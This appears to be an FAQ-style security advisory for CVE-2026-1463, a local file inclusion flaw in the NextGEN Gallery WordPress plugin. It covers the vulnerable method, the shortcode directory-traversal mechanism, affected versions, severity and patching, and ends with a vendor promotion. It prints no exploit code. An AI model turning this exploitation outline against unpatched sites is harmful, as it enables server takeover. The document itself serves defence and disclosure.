Mechanism of exploitationThe vulnerability arises from inadequate validation of the ‘template’ parameter in the LegacyTemplateLocator::find_custom_template() method. An attacker can craft a shortcode that includes directory traversal sequences, enabling them to include files from anywhere on the server’s filesystem.
Who is affected by this vulnerability?
Identifying vulnerable usersAny WordPress site using NextGEN Gallery version 4.0.4 or earlier is affected. Specifically, authenticated users with Author-level permissions can exploit this vulnerability, making it crucial for site administrators to assess user roles and access levels.
How can I check if my site is vulnerable?
Assessing your WordPress installationTo check if your site is vulnerable, verify the version of the NextGEN Gallery plugin installed. If it is version 4.0.4 or earlier, your site is at risk. Additionally, review user roles to identify any Author-level users who could potentially exploit the vulnerability.
How can I fix CVE-2026-1463?
Applying the necessary patchThe vulnerability is patched in NextGEN Gallery version 4.0.5. To mitigate the issue, update the plugin to the latest version immediately. Regularly check for updates to ensure your plugins are secure.
What does the CVSS score of 8.8 indicate?
Understanding severity levelsA CVSS score of 8.8 indicates a high severity vulnerability. This means it poses a significant risk, as it can lead to unauthorized access and potential full server compromise if exploited.
What is Local File Inclusion (LFI)?
Defining the attack vectorLocal File Inclusion (LFI) is a type of security vulnerability that allows an attacker to include files on a server through a web application. This can lead to code execution and unauthorized access to sensitive information.
What are the practical risks associated with this vulnerability?
Potential consequences of exploitationIf exploited, this vulnerability can lead to remote code execution, allowing attackers to run arbitrary PHP code on the server. This can result in data breaches, loss of data integrity, and complete server compromise.
How does the proof of concept demonstrate the vulnerability?
Understanding the exploitation processThe proof of concept provided illustrates how an attacker can log into a vulnerable WordPress site using valid Author credentials and create a post with a malicious shortcode. This demonstrates the exploitation of the LFI vulnerability, leading to the execution of arbitrary PHP code.
What steps should I take after updating the plugin?
Post-update security measuresAfter updating the plugin, review user roles and permissions to ensure that only necessary users have Author-level access. Additionally, monitor your site for any suspicious activity and consider conducting a security audit.
Are there any additional security measures I should implement?
Enhancing overall WordPress securityIn addition to updating the plugin, consider implementing a Web Application Firewall (WAF), regularly scanning for vulnerabilities, and maintaining backups of your site. These practices enhance your site’s security posture.
Where can I find more information about this vulnerability?
Resources for further readingFor more information, you can refer to the official CVE database, security advisories from the plugin developer, and reputable security blogs that cover WordPress vulnerabilities.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






